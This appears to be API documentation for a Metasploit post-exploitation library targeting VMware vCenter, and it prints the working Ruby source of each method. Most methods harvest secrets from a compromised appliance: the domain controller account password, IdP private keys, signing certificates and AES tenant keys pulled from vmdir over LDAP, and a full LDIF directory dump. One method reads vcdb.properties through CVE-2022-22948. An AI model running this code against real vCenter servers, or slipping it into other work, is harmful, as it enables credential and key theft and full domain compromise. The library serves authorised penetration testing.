Module: Msf::Post::Vcenter::Vcenter

Includes:
File, Linux::Priv
Defined in:
lib/msf/core/post/vcenter/vcenter.rb

Instance Method Summary collapse

Methods included from Linux::Priv

#binary_of_pid, #cp_cmd, #grep_cmd, #head_cmd, #is_root?, #nchars_file, #nlines_file, #nwords_file, #seq, #tail_cmd, #touch_cmd, #wc_cmd

Methods included from Common

#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #create_process, #get_env, #get_envs, #initialize, #peer, #report_virtualization, #rhost, #rport

Methods included from File

#_append_file_powershell, #_append_file_unix_shell, #_can_echo?, #_read_file_meterpreter, #_read_file_powershell, #_read_file_powershell_fragment, #_shell_command_with_success_code, #_shell_process_with_success_code, #_unix_max_line_length, #_win_ansi_append_file, #_win_ansi_write_file, #_win_bin_append_file, #_win_bin_write_file, #_write_file_meterpreter, #_write_file_powershell, #_write_file_powershell_fragment, #_write_file_unix_shell, #append_file, #attributes, #cd, #chmod, #copy_file, #dir, #directory?, #executable?, #exist?, #expand_path, #exploit_data, #exploit_source, #file?, #file_local_write, #file_remote_digestmd5, #file_remote_digestsha1, #file_remote_digestsha2, #immutable?, #initialize, #mkdir, #pwd, #read_file, #readable?, #rename_file, #rm_f, #rm_rf, #setuid?, #stat, #upload_and_chmodx, #upload_file, #writable?, #write_file

Instance Method Details

#database_type_fileObject



18
19
20
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 18

def database_type_file
  '/etc/vmware/db.type'
end

#deployment_type_fileObject



14
15
16
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 14

def deployment_type_file
  '/etc/vmware/deployment.node.type'
end

#get_aes_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw) ⇒ Array

Parameters:

  • base_fqdn (String)

    fully qualified domain name of the virtual center

  • vc_psc_fqdn (String)

    fully qualified domain name of the virtual center

  • base_dn (String)

    the base dn to search in ldap

  • bind_dn (String)

    the base dn to use

  • shell_bind_pw (String)

    the password for the bind dn

Returns:

  • (Array)

    of the keys, nil on error



524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 524

def get_aes_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
  return nil unless command_exists? ldapsearch_bin

  # this may error,
  header = 'vmwSTSTenantKey: '
  header2 = 'vmwSTSTenantKey:: '
  legacy_key_file = '/etc/vmware-vpx/ssl/symkey.dat'
  all_keys = []
  key_contents = ''
  output = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(objectClass=vmwSTSTenant)\" vmwSTSTenantKey")
  output = output.split("\n")
  key_output = false
  output.each do |line|
    # skip anything until we get to content
    next unless line.starts_with?(header) || line.starts_with?(header2) || key_output

    # aka our first key, there should only be one, but just in case
    if (line.starts_with?(header) || line.starts_with?(header2)) && !key_output # first key
      key_output = true
    elsif (line.starts_with?(header) || line.starts_with?(header2)) && key_output # our n+1 key
      key = key_contents.strip
      all_keys.append(key) unless key.empty?
      key_contents = ''
    end
    line = line.gsub(header2, '')
    line = line.gsub(header, '')
    key_contents += "#{line.strip}\n" if key_output
  end
  key = key_contents.strip
  all_keys.append(key) unless key.empty?

  # go try for the vmware-vpx AES key
  exists = file_exist?(legacy_key_file)
  return all_keys if !exists && !all_keys.empty?
  return nil if !exists && all_keys.empty?

  cert_contents = read_file(legacy_key_file)
  unless cert_contents.nil? || cert_contents.empty?
    all_keys.append(cert_contents.strip)
    return all_keys unless all_keys.empty?
  end

  nil
end

#get_database_typeString

It returns the vcenter database type. Should be ‘embedded’, or ‘management’ kb.vmware.com/s/article/83193

Returns:

  • (String)

    of vcenter database type



155
156
157
158
159
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 155

def get_database_type
  return nil unless file_exist?(database_type_file)

  return read_file(database_type_file).downcase.strip
end

#get_deployment_typeString

It returns the vcenter deployment type. Should be ‘embedded’, ‘infrastructure’, or ‘management’

Returns:

  • (String)

    of vcenter deployment type



144
145
146
147
148
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 144

def get_deployment_type
  return nil unless file_exist?(deployment_type_file)

  return read_file(deployment_type_file).downcase.strip
end

#get_domain_dc_dnString

Returns the domain controller account DN

Returns:

  • (String)

    of the domain controller account DN



230
231
232
233
234
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 230

def get_domain_dc_dn
  return nil unless command_exists?(lwregshell_bin)

  return cmd_exec("#{lwregshell_bin} list_values '[HKEY_THIS_MACHINE\\Services\\vmdir]'|grep dcAccountDN|awk '{$1=$2=$3=\"\";print $0}'|tr -d '\"'|sed -e 's/^[ \t]*//'").strip
end

#get_domain_dc_passwordString

Returns the domain controller account password

Returns:

  • (String)

    of the domain controller account password, matches with get_domain_dc_dn. nil if not found.



240
241
242
243
244
245
246
247
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 240

def get_domain_dc_password
  return nil unless command_exists?(lwregshell_bin)

  password = cmd_exec("echo $(#{lwregshell_bin} list_values '[HKEY_THIS_MACHINE\\Services\\vmdir]'|grep dcAccountPassword |awk -F 'REG_SZ' '{print $2}')").strip
  return nil unless password

  return password[1..password.length - 2].gsub('\"', '"')
end

#get_domain_nameString

Returns the domain name of the server

Returns:

  • (String)

    of the domain name



220
221
222
223
224
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 220

def get_domain_name
  return nil unless command_exists?(lwregshell_bin)

  return cmd_exec("#{lwregshell_bin} list_values '[HKEY_THIS_MACHINE\\Services\\vmafd\\Parameters]'|grep DomainName|awk '{print $4}'|tr -d '\"'").strip
end

#get_fqdnString

It returns the host FQDN.

Returns:

  • (String)

    of the host FQDN



165
166
167
168
169
170
171
172
173
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 165

def get_fqdn
  fqdn = nil
  if command_exists?('/opt/vmware/share/vami/vami_hname') && command_exists?('/opt/vmware/share/vami/vami_domain')
    fqdn = "#{cmd_exec('/opt/vmware/share/vami/vami_hname').strip}.#{cmd_exec('/opt/vmware/share/vami/vami_domain').strip}".downcase
  elsif file_exist?('/etc/hostname')
    fqdn = read_file('/etc/hostname').downcase.strip
  end
  return fqdn if is_fqdn?(fqdn)
end

#get_idp_certs(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw) ⇒ Array

Retrieves the IDP certificate

Parameters:

  • base_fqdn (String)

    fully qualified domain name of the virtual center

  • vc_psc_fqdn (String)

    fully qualified domain name of the virtual center

  • base_dn (String)

    the base dn to search in ldap

  • bind_dn (String)

    the base dn to use

  • shell_bind_pw (String)

    the password for the bind dn

Returns:

  • (Array)

    of the Certificates, nil on error



474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 474

def get_idp_certs(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
  return nil unless command_exists? ldapsearch_bin

  header = 'userCertificate:: '
  legacy_cert_file = '/etc/vmware-sso/keys/ssoserverSign.crt'
  all_certs = []
  cert_contents = ''
  output = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(objectclass=vmwSTSTenantCredential)\" userCertificate")
  output = output.split("\n")
  cert_output = false
  output.each do |line|
    # skip anything until we get to content
    next unless line.starts_with?(header) || cert_output

    # aka our first key
    if line.starts_with?(header) && !cert_output # first cert
      cert_output = true
    elsif line.starts_with?(header) && cert_output # our n+1 cert
      cert = validate_x509_cert(cert_contents.strip)
      all_certs.append(cert) unless cert.nil?
      cert_contents = ''
    end
    line = line.gsub(header, '')
    cert_contents += "#{line.strip}\n" if cert_output
  end
  cert = validate_x509_cert(cert_contents.strip)
  all_certs.append(cert) unless cert.nil?
  return all_certs unless all_certs.empty?

  # now we try the legacy approach since that failed
  print_warning('userCertificate was not found in vmdir, checking for legacy ssoserverSign cert PEM files...')
  return nil unless file_exist?(legacy_cert_file)

  cert_contents = read_file(legacy_cert_file)
  cert = validate_x509_cert(cert_contents)
  return [cert] unless cert.nil?

  nil
end

#get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw) ⇒ Array

Retrieves the IDP private key

Parameters:

  • base_fqdn (String)

    fully qualified domain name of the virtual center

  • vc_psc_fqdn (String)

    fully qualified domain name of the virtual center

  • base_dn (String)

    the base dn to search in ldap

  • bind_dn (String)

    the base dn to use

  • shell_bind_pw (String)

    the password for the bind dn

Returns:

  • (Array)

    of the private key (PKey), nil on error



425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 425

def get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
  return nil unless command_exists? ldapsearch_bin

  header = 'vmwSTSPrivateKey:: '
  legacy_key_file = '/etc/vmware-sso/keys/ssoserverSign.key'
  all_keys = []
  key_contents = ''
  output = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(objectclass=vmwSTSTenantCredential)\" vmwSTSPrivateKey")
  output = output.split("\n")
  key_output = false
  output.each do |line|
    # skip anything until we get to content
    next unless line.starts_with?(header) || key_output

    # aka our first key
    if line.starts_with?(header) && !key_output # first key
      key_output = true
    elsif line.starts_with?(header) && key_output # our n+1 key
      pkey = validate_pkey(key_contents.strip)
      all_keys.append(pkey) unless pkey.nil?
      key_contents = ''
    end
    line = line.gsub(header, '')
    key_contents += "#{line.strip}\n" if key_output
  end
  pkey = validate_pkey(key_contents.strip)
  all_keys.append(pkey) unless pkey.nil?
  return all_keys unless all_keys.empty?

  # now we try the legacy approach since that failed
  print_warning('vmwSTSPrivateKey was not found in vmdir, checking for legacy ssoserverSign key PEM files...')
  return nil unless file_exist?(legacy_key_file)

  key_contents = read_file(legacy_key_file)
  key = validate_pkey(key_contents)
  return [key] unless key.nil?

  nil
end

#get_ipv4(interface = 'eth0') ⇒ String

It returns the IPv4 address of an interface.

Returns:

  • (String)

    of the host IPv4 interface



179
180
181
182
183
184
185
186
187
188
189
190
191
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 179

def get_ipv4(interface = 'eth0')
  # we make an assumption ifconfig exists, this may fail in the future
  vsphere_machine_ipv4 = cmd_exec("ifconfig | grep #{interface} -A1 | grep \"inet addr:\"").strip
  return nil if vsphere_machine_ipv4.nil?

  vsphere_machine_ipv4 = vsphere_machine_ipv4.split('  ')[0] # splits to inet addr, bcast, mask
  return nil if vsphere_machine_ipv4.nil?

  vsphere_machine_ipv4 = vsphere_machine_ipv4.split(':')[1]
  return nil unless Rex::Socket.is_ipv4?(vsphere_machine_ipv4)

  vsphere_machine_ipv4
end

#get_ldif_contents(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw) ⇒ String

Returns the LDF file contents from the remote system TODO: Make this less jank. LDIF data is too big to put in a string, the

only way to get a complete copy is to write it to the filesystem
on the appliance first and copy it to our local machine for
processing. This is slow and inefficient and there is probably a
much better way. I would also love to lose the ARTIFACTS_ON_DISK
side effect.

Parameters:

  • base_fqdn (String)

    fully qualified domain name of the virtual center

  • vc_psc_fqdn (String)

    fully qualified domain name of the virtual center

  • base_dn (String)

    the base dn to search in ldap

  • bind_dn (String)

    the base dn to use

  • shell_bind_pw (String)

    the password for the bind dn

Returns:

  • (String)

    of the LDF contents. nil if not found.



264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 264

def get_ldif_contents(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)
  temp_ldif_file = "/tmp/.#{base_fqdn}_#{Time.now.strftime('%Y%m%d%H%M%S')}.tmp"
  rm_f(temp_ldif_file) if file_exist?(temp_ldif_file)
  out = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -b '#{base_dn}' -s sub -D '#{bind_dn}' -w #{shell_bind_pw} \\* \\+ \\- \> #{temp_ldif_file}")
  return nil unless file_exist?(temp_ldif_file)

  contents = read_file(temp_ldif_file)
  if contents.nil?
    print_warning('Unable to retrieve ldif contents')
    if rm_f(temp_ldif_file)
      vprint_good("Removed temporary file from vCenter appliance: #{temp_ldif_file}")
    else
      print_warning("Unable to remove temporary file from vCenter appliance: #{temp_ldif_file}")
    end
    return nil
  end

  contents.gsub(/^$\n/, '')
end

#get_machine_id(server_name = 'localhost') ⇒ String

Returns the machine-id (UUID) of a server by name

Parameters:

  • server_name (String) (defaults to: 'localhost')

    server name to check. Defaults to 'localhost`

Returns:

  • (String)

    UUID of the machine's UUID



210
211
212
213
214
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 210

def get_machine_id(server_name = 'localhost')
  return nil unless command_exists?(vmafd_bin)

  return cmd_exec("#{vmafd_bin} get-machine-id --server-name #{server_name}").strip
end

#get_os_versionString

Grabs the photon release and build number

Returns:

  • (String, String)

    of the photon release and build number



197
198
199
200
201
202
203
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 197

def get_os_version
  return nil unless file_exist?(photon_version_file)

  os = read_file(photon_version_file)
  os = os.split("\n")
  return os[0].strip.to_s, os[1].split('=')[1].strip.to_s
end

#get_platform_service_controller(vc_type_management = false, host = 'localhost') ⇒ String

Returns a string of the platform service controller used

Parameters:

  • vc_type_management (Boolean) (defaults to: false)

    if the host is a vcenter manager or not

  • host (String) (defaults to: 'localhost')

    the host to determine the service controller for. localhost by default

Returns:

  • (String)

    the fqdn of the service controller, nil on error



403
404
405
406
407
408
409
410
411
412
413
414
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 403

def get_platform_service_controller(vc_type_management = false, host = 'localhost')
  return nil unless command_exists? vmafd_bin

  unless vc_type_management
    return 'localhost'
  end

  lookup_service = cmd_exec("#{vmafd_bin} get-ls-location --server-name #{host}")
  ls_host = URI.parse(lookup_service).host.downcase
  print_warning("External Platform Service Controller Detected: #{ls_host}")
  ls_host
end

#get_vcenter_buildString

It returns the vcenter product banner and build number Cross reference knowledge.broadcom.com/external/article/326316/build-numbers-and-versions-of-vmware-vce.html

Returns:

  • (String)

    of vcenter product banner and build number



124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 124

def get_vcenter_build
  if command_exists?(vpxd_bin)
    return cmd_exec("#{vpxd_bin} -v").split("\n").last.strip
  end

  # this file may not be getting updated any longer. On vCenter 8.0.0.10000 it reads 6.5.0.0 Build 16197320
  if file_exist?(manifest_file)
    xml = read_file(manifest_file)
    xmldoc = Nokogiri::XML(xml) do |config|
      config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET
    end
    return "#{xmldoc.at_xpath('/update/product').text} #{xmldoc.at_xpath('/update/fullVersion').text}"
  end
  nil
end

#get_vecs_entries(vecs_store) ⇒ Array

Returns a list of hashes for the vecs store

Parameters:

  • vecs_store (String)

    the store to get entries from

Returns:

  • (Array)

    of hashes, nil on error



302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 302

def get_vecs_entries(vecs_store)
  return nil unless command_exists? vecs_bin

  out = cmd_exec("#{vecs_bin} entry list --store #{vecs_store}")
  return nil if out.nil?

  # time to process this beast. its roughly " : " delimited, but things like certificates are multi-line
  delimiter = " :\t"
  output = []
  current_entry = {}
  last_key = ''
  out = out.split("\n")
  out.each do |line|
    # handle anything that looks to be a continuation of the last key
    unless line.include? delimiter
      current_entry[last_key] = "#{current_entry[last_key]}\n#{line}"
      next
    end

    line = line.split(delimiter).map(&:strip)
    key = line.shift
    value = line.join(delimiter)
    last_key = key
    next if key.include? 'Number of entries in store' # heading for output

    # Alias is assumed first line of an entry, so append any non-blank previous entries to our output
    if key == 'Alias' && !current_entry.empty?
      output.append(current_entry)
      current_entry = { key => value }
      next
    end
    current_entry[key] = value
  end
  output.append(current_entry) unless current_entry.empty?
  return output

  nil
end

#get_vecs_private_key(vecs_store, entry_alias) ⇒ OpenSSL::PKey::RSA

Returns a private key for an alias in a vecs store

Parameters:

  • vecs_store (String)

    the store to get entries from

Returns:

  • (OpenSSL::PKey::RSA)

    of content, nil on error



346
347
348
349
350
351
352
353
354
355
356
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 346

def get_vecs_private_key(vecs_store, entry_alias)
  return nil unless command_exists? vecs_bin

  key_b64 = cmd_exec("#{vecs_bin} entry getkey --store #{vecs_store} --alias #{entry_alias}")
  begin
    return OpenSSL::PKey::RSA.new(key_b64)
  rescue OpenSSL::PKey::PKeyError
    nil
  end
  nil
end

#get_vecs_storesArray

Returns the list of stores from the vecs cli

Returns:

  • (Array)

    of String stores, nil on error



288
289
290
291
292
293
294
295
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 288

def get_vecs_stores
  return nil unless command_exists? vecs_bin

  out = cmd_exec("#{vecs_bin} store list")
  return nil if out.nil?

  out.split("\n")
end

#is_dn?(dn) ⇒ Bool

Function to determine if a dn is legitimate

Parameters:

  • dn (String)

    the string to determine if its a dn or not

Returns:

  • (Bool)

    boolean if the string is a valid DN address



81
82
83
84
85
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 81

def is_dn?(dn)
  return true if dn.to_s.downcase =~ /^(?:(?<cn>cn=(?<name>[^,]*)),)?(?:(?<path>(?:(?:cn|ou)=[^,]+,?)+),)?(?<domain>(?:dc=[^,]+,?)+)$/

  false
end

#is_fqdn?(fqdn) ⇒ Bool

Function to determine if a string is a valid FQDN or not

Parameters:

  • fqdn (String)

    the string to check if it is a valid FQDN or not

Returns:

  • (Bool)

    boolean if the string is a valid FQDN



59
60
61
62
63
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 59

def is_fqdn?(fqdn)
  return true if fqdn.to_s.downcase =~ /(?=^.{4,253}$)(^((?!-)[a-z0-9-]{0,62}[a-z0-9]\.)+[a-z]{2,63}$)/

  false
end

#is_uuid?(uuid) ⇒ Bool

Function to determine if a string is a valid UUID or not

Parameters:

  • uuid (String)

    the string to check if it is a valid UUID or not

Returns:

  • (Bool)

    boolean if the string is a UUID



70
71
72
73
74
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 70

def is_uuid?(uuid)
  return true if uuid.to_s.downcase =~ /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/

  false
end

#ldapsearch_binObject



38
39
40
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 38

def ldapsearch_bin
  '/opt/likewise/bin/ldapsearch'
end

#lwregshell_binObject



30
31
32
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 30

def lwregshell_bin
  '/opt/likewise/bin/lwregshell'
end

#manifest_fileObject



10
11
12
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 10

def manifest_file
  '/opt/vmware/etc/appliance-manifest.xml'
end

#photon_version_fileObject



22
23
24
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 22

def photon_version_file
  '/etc/photon-release'
end

#process_vcdb_properties_file(location = vcd_properties_file) ⇒ Hash

Returns a hash table of the vcdb.properties file

Parameters:

  • location (String) (defaults to: vcd_properties_file)

    where the file is located. defaults to /etc/vmware-vpx/vcdb.properties

Returns:

  • (Hash)

    hash of the file contents, nil on error



363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 363

def process_vcdb_properties_file(location = vcd_properties_file)
  return nil unless file_exist?(location)

  contents = read_file(location)
  return nil if contents.nil?

  if location == vcd_properties_file && is_root? == false
    print_good('Exploited CVE-2022-22948 to read #{vcd_properties_file}')
  end
  output = {}
  contents.each_line(chomp: true) do |line|
    next unless line.include?('=') # attempt to do a little quality control

    line = line.split('=')
    key = line.shift.strip
    value = line.join('=').strip
    output[key] = value
    next unless key == 'url'

    # url is a compound object with database type, host, port, and name.
    # we'll split that into its own as well to make them easy to reference
    # example line -> 'jdbc:postgresql://localhost:5432/VCDB'
    value = value.split('://')
    output['db_engine'] = value[0].split(':')[1]
    output['host'] = value[1].split(':')[0]
    output['port'] = value[1].split(':')[1].split('/')[0]
  end
  # pull out the name from the url
  unless output['url'].nil?
    output['name'] = output['url'].split('/').last
  end
  output
end

#psql_binObject



46
47
48
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 46

def psql_bin
  '/opt/vmware/vpostgres/current/bin/psql'
end

#validate_pkey(private_key) ⇒ OpenSSL::PKey::RSA

Function to validate an x509 private key

Parameters:

  • cert (String)

    the string to determine if its a valid x509 private key

Returns:

  • (OpenSSL::PKey::RSA)

    or nil on error



108
109
110
111
112
113
114
115
116
117
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 108

def validate_pkey(private_key)
  # the gsub is specific to vcenter ldapsearch returning spaces after a new line, but shouldn't
  # effect normal keys read from files
  [private_key, "-----BEGIN PRIVATE KEY-----\n#{private_key.strip}\n-----END PRIVATE KEY-----".gsub("\n ", "\n")].each do |private_key|
    return OpenSSL::PKey::RSA.new(private_key)
  rescue OpenSSL::PKey::PKeyError
    nil
  end
  nil
end

#validate_x509_cert(cert) ⇒ OpenSSL::X509::Certificate

Function to validate an x509 certificate. Validates with or without certificate header line

Parameters:

  • cert (String)

    the string to determine if its a valid x509 certificate

Returns:

  • (OpenSSL::X509::Certificate)

    or nil on error



92
93
94
95
96
97
98
99
100
101
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 92

def validate_x509_cert(cert)
  # the gsub is specific to vcenter ldapsearch returning spaces after a new line, but shouldn't
  # effect normal certs read from files
  [cert, "-----BEGIN CERTIFICATE-----\n#{cert.strip}\n-----END CERTIFICATE-----".gsub("\n ", "\n")].each do |cert|
    return OpenSSL::X509::Certificate.new(cert)
  rescue OpenSSL::X509::CertificateError
    nil
  end
  nil
end

#vcd_properties_fileObject



50
51
52
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 50

def vcd_properties_file
  '/etc/vmware-vpx/vcdb.properties'
end

#vecs_binObject



42
43
44
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 42

def vecs_bin
  '/usr/lib/vmware-vmafd/bin/vecs-cli'
end

#vmafd_binObject



26
27
28
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 26

def vmafd_bin
  '/usr/lib/vmware-vmafd/bin/vmafd-cli'
end

#vpxd_binObject



34
35
36
# File 'lib/msf/core/post/vcenter/vcenter.rb', line 34

def vpxd_bin
  '/usr/sbin/vpxd'
end